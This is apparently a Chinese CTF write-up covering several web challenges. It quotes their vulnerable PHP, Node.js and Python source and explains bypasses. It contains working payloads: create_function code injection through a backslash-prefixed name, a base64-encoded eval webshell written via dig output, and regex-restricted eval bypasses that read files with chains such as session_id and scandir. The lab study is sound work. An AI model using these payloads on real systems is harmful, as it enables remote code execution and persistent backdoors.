function
PHP 函数利用技巧
<?php $action = $_GET['action' ] ?? '' ; $arg = $_GET['arg' ] ?? '' ; if (preg_match('/^[a-z0-9_]*$/isD' , $action)) { show_source(__FILE__ ); } else { $action('' , $arg); }
环境:
预备知识 仔细看一下 isD
模式修饰符
i ==> 忽略大小写 s ==> 点号匹配所有字符,包含换行符,未设置则不匹配换行符 D ==> 模式中的 $ 仅仅匹配目标字符串的末尾(不匹配结尾的换行符)
create_function( string $args , string $code )
常规用法 PHP create_function() 代码注入
create_function($_GET['code' ], '' ); --> create_function('){phpinfo();{//' , '' ) create_function('' , $_GET['code' ]); --> create_function('' , '}phpinfo();//' )
为什么可以直接拼接生效呢?我们先看看 源码 1858行
#define LAMBDA_TEMP_FUNCNAME "__lambda_func" ZEND_FUNCTION(create_function) { zend_string *function_name; char *eval_code, *function_args, *function_code; size_t eval_code_length, function_args_len, function_code_len; int retval; char *eval_name; if (zend_parse_parameters(ZEND_NUM_ARGS(), "ss" , &function_args, &function_args_len, &function_code, &function_code_len) == FAILURE) { return ; } eval_code = (char *) emalloc(sizeof ("function " LAMBDA_TEMP_FUNCNAME) +function_args_len +2 +2 +function_code_len); eval_code_length = sizeof ("function " LAMBDA_TEMP_FUNCNAME "(" ) - 1 ; memcpy (eval_code, "function " LAMBDA_TEMP_FUNCNAME "(" , eval_code_length); memcpy (eval_code + eval_code_length, function_args, function_args_len); eval_code_length += function_args_len; eval_code[eval_code_length++] = ')' ; eval_code[eval_code_length++] = '{' ; memcpy (eval_code + eval_code_length, function_code, function_code_len); eval_code_length += function_code_len; eval_code[eval_code_length++] = '}' ; eval_code[eval_code_length] = '\0' ; eval_name = zend_make_compiled_string_description("runtime-created function" ); retval = zend_eval_stringl(eval_code, eval_code_length, NULL , eval_name); function_name = zend_string_alloc(sizeof ("0lambda_" )+MAX_LENGTH_OF_LONG, 0 ); ZSTR_VAL(function_name)[0 ] = '\0' ; do { ZSTR_LEN(function_name) = snprintf (ZSTR_VAL(function_name) + 1 , sizeof ("lambda_" )+MAX_LENGTH_OF_LONG, "lambda_%d" , ++EG(lambda_count)) + 1 ; } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL ); RETURN_NEW_STR(function_name); }
再跟一下 zend_eval_stringl()
1047行
ZEND_API int zend_eval_stringl (char *str, size_t str_len, zval *retval_ptr, char *string_name) { zval pv; zend_op_array *new_op_array; uint32_t original_compiler_options; int retval; if (retval_ptr) { ZVAL_NEW_STR(&pv, zend_string_alloc(str_len + sizeof ("return ;" )-1 , 1 )); memcpy (Z_STRVAL(pv), "return " , sizeof ("return " ) - 1 ); memcpy (Z_STRVAL(pv) + sizeof ("return " ) - 1 , str, str_len); Z_STRVAL(pv)[Z_STRLEN(pv) - 1 ] = ';' ; Z_STRVAL(pv)[Z_STRLEN(pv)] = '\0' ; } else { ZVAL_STRINGL(&pv, str, str_len); } original_compiler_options = CG(compiler_options); CG(compiler_options) = ZEND_COMPILE_DEFAULT_FOR_EVAL; new_op_array = zend_compile_string(&pv, string_name); CG(compiler_options) = original_compiler_options; if (new_op_array) { zval local_retval; EG(no_extensions)=1 ; new_op_array->scope = zend_get_executed_scope(); zend_try { ZVAL_UNDEF(&local_retval); zend_execute(new_op_array, &local_retval); } zend_catch { destroy_op_array(new_op_array); efree_size(new_op_array, sizeof (zend_op_array)); zend_bailout(); } zend_end_try(); if (Z_TYPE(local_retval) != IS_UNDEF) { if (retval_ptr) { ZVAL_COPY_VALUE(retval_ptr, &local_retval); } else { zval_ptr_dtor(&local_retval); } } else { if (retval_ptr) { ZVAL_NULL(retval_ptr); } } EG(no_extensions)=0 ; destroy_op_array(new_op_array); efree_size(new_op_array, sizeof (zend_op_array)); retval = SUCCESS; } else { retval = FAILURE; } zval_dtor(&pv); return retval; }
全局空间
(PHP 5 >= 5.3.0, PHP 7)
如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀 \
表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此。
Example
<?php namespace A \B \C ;function fopen () { $f = \fopen(...); return $f;} namespace ccc ;\eval ($_REQUEST['a' ]);
目标 利用 $action('', $arg)
构造远程代码执行,这里使用 create_function()
阻碍 $action
中不能全是字母、数字以及下划线,无法直接调用 create_function()
解决方法 为了不影响 create_function
调用,只能在前面或者后面插入一个无法被正则匹配到的字符。直接 fuzz 一波 ASCII 码,从 %00 ~ %ff
可得到 %5c 即 \
。
先试一下 phpinfo
%5 ccreate_function&arg=}phpinfo();
然后找 flag
看一下 disable_functions
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv, mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
那直接用 php 的文件操作函数
/?action=\create_function&arg=}print_r(scandir(dirname(__FILE__ )."/../" )); var_dump(glob("/var/www/*" ));
查看 flag
&arg=}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de' ));
pcrewaf
PHP 正则特性
<?php function is_php ($data) { return preg_match('/<\?.*[(`;?>].*/is' , $data); } if (empty ($_FILES)) { die (show_source(__FILE__ )); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR' ]); $data = file_get_contents($_FILES['file' ]['tmp_name' ]); if (is_php($data)) { echo "bad request" ; } else { @mkdir($user_dir, 0755 ); $path = $user_dir . '/' . random_int(0 , 10 ) . '.php' ; move_uploaded_file($_FILES['file' ]['tmp_name' ], $path); header("Location: $path" , true , 303 ); }
目标 写入一句话后门。
阻碍 正则匹配式waf,不能写入 <?
等必要的符号。<script language="php">
在低版本里或许可以试试,然而 PHP7 已经不支持这个标签了。
解决方法 这有一类似的题 萌萌哒的报名系统
preg_match('/^(xdsec)((?:###|\w)+)$/i' , $code, $matches);
其实正解是通过 preg_match 函数的资源消耗来绕过,因为 preg_match 在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
ph 师傅也单独写了一篇文章讲这个问题 PHP利用PCRE回溯次数限制绕过某些安全限制
回溯超过一百万次,返回 false 具体回溯过程
payload
phpmagic
PHP 写文件技巧
<?php if (isset ($_GET['read-source' ])) { exit (show_source(__FILE__ )); } define('DATA_DIR' , dirname(__FILE__ ) . '/data/' . md5($_SERVER['REMOTE_ADDR' ])); if (!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755 , true ); } chdir(DATA_DIR); $domain = isset ($_POST['domain' ]) ? $_POST['domain' ] : '' ; $log_name = isset ($_POST['log' ]) ? $_POST['log' ] : date('-Y-m-d' ); ?> <?php if (!empty ($_POST) && $domain): $command = sprintf("dig -t A -q %s" , escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME' ] . $log_name; if (!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php' , 'php3' , 'php4' , 'php5' , 'phtml' , 'pht' ], true )) { file_put_contents($log_name, $output); } echo $output; endif ; ?>
解决方法 注意到有个 escapeshellarg($domain)
,功能如下:
1.确保用户只传递一个参数给命令 2.用户不能指定更多的参数一个 3.用户不能执行不同的命令
htmlspecialchars()
ENT_HTML401 - 默认。作为 HTML 4.01 处理代码。
ENT_QUOTES - 编码双引号和单引号。
& (AND) => & " (双引号) => " (当ENT_NOQUOTES没有设置的时候) ' (单引号) => ' (当ENT_QUOTES设置) < (小于号) => < > (大于号) => >
对于前头这些字符串
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q
符合base64规范的字符是:
ltltgtgtDiG9959deb8u15DebianltltgtgttAq
恰好是40位,为4的倍数,就不用管这个,只需要添加我们的字符串。因为插入的字符在中间,所以不能有 =
POST / HTTP/1.1 Host: php Upgrade-Insecure-Requests: 1 domain=PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg&log=:
成功写入一句话
<?php eval ($_GET['c' ]);?>
phplimit
PHP 代码执行限制绕过
<?php if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET['code' ])) { eval ($_GET['code' ]); } else { show_source(__FILE__ ); }
与 2018 RCTF r-cursive 差不多
';' === preg_replace('/[^\W_]+\((?R)?\)/' , NULL , $_GET['cmd' ]) ? eval ($_GET['cmd' ]) : show_source(__FILE__ );
预备知识 好好的一句话被限制了,但我们不就着迷于这种斗智斗勇~
目标 执行任意命令,恢复一句话的活力。
阻碍 受正则限制,只能执行如下形式的代码。
解决方法
getenv
通法
getallheaders
仅 Apache 支持。
code=end(getallheaders());
get_defined_vars
Apache
session_id
session_id ([ string $id
] ) : string
session_id() is used to get or set the session id for the current session.
code=eval(hex2bin(session_id(session_start())))
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))
类似的:https://xz.aliyun.com/t/6305#toc-1
readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));
nodechr
JavaScript 字符串特性
const Koa = require ('koa' )const sqlite = require ('sqlite' )const fs = require ('fs' )const views = require ('koa-views' )const Router = require ('koa-router' )const send = require ('koa-send' )const bodyParser = require ('koa-bodyparser' )const session = require ('koa-session' )const isString = require ('underscore' ).isStringconst basename = require ('path' ).basenameconst config = JSON .parse(fs.readFileSync('../config.json' , {encoding : 'utf-8' , flag : 'r' }))async function main ( ) { const app = new Koa() const router = new Router() const db = await sqlite.open(':memory:' ) await db.exec(`CREATE TABLE "main"."users" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "username" TEXT NOT NULL, "password" TEXT, CONSTRAINT "unique_username" UNIQUE ("username") )` ) await db.exec(`CREATE TABLE "main"."flags" ( "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, "flag" TEXT NOT NULL )` ) for (let user of config.users) { await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username} ', '${user.password} ')` ) } await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag} ')` ) router.all('login' , '/login/' , login).get('admin' , '/' , admin).get('static' , '/static/:path(.+)' , static ).get('/source' , source) app.use(views(__dirname + '/views' , { map: { html: 'underscore' }, extension: 'html' })).use(bodyParser()).use(session(app)) app.use(router.routes()).use(router.allowedMethods()); app.keys = config.signed app.context.db = db app.context.router = router app.listen(3000 ) } function safeKeyword (keyword ) { if (isString(keyword) && !keyword.match(/(union|select|;|\-\-)/i s)) { return keyword } return undefined } async function login (ctx, next ) { if (ctx.method == 'POST' ) { let username = safeKeyword(ctx.request.body['username' ]) let password = safeKeyword(ctx.request.body['password' ]) let jump = ctx.router.url('login' ) if (username && password) { let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()} ' AND "password" = '${password.toUpperCase()} '` ) if (user) { ctx.session.user = user jump = ctx.router.url('admin' ) } } ctx.status = 303 ctx.redirect(jump) } else { await ctx.render('index' ) } } async function static (ctx, next ) { await send(ctx, ctx.path) } async function admin (ctx, next ) { if (!ctx.session.user) { ctx.status = 303 return ctx.redirect(ctx.router.url('login' )) } await ctx.render('admin' , { 'user' : ctx.session.user }) } async function source (ctx, next ) { await send(ctx, basename(__filename)) } main()
javacon
SPEL 表达式沙盒绕过
需要补充一些 SPEL 表达式的知识。
有个师傅讲解的很清晰的,忘记链接了,看到了再补上。
lumenserial
反序列化在 PHP 7.2 下的利用
就是 Laravel 反序列化链挖掘。
picklecode
Python 反序列化沙盒绕过
我这里写了一堆。
https://wywwzjj.top/2019/10/24/Python-pickle-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90/
thejs
JavaScript 对象特性利用
const fs = require ('fs' )const express = require ('express' )const bodyParser = require ('body-parser' )const lodash = require ('lodash' )const session = require ('express-session' )const randomize = require ('randomatic' )const app = express()app.use(bodyParser.urlencoded({extended : true })).use(bodyParser.json()) app.use('/static' , express.static('static' )) app.use(session({ name: 'thejs.session' , secret: randomize('aA0' , 16 ), resave: false , saveUninitialized: false })) app.engine('ejs' , function (filePath, options, callback ) { fs.readFile(filePath, (err, content) => { if (err) return callback(new Error (err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null , rendered) }) }) app.set('views' , './views' ) app.set('view engine' , 'ejs' ) app.all('/' , (req, res) => { let data = req.session.data || {language : [], category : []} if (req.method == 'POST' ) { data = lodash.merge(data, req.body) req.session.data = data } res.render('index' , { language: data.language, category: data.category }) }) app.listen(3000 , () => console .log(`Example app listening on port 3000!` ))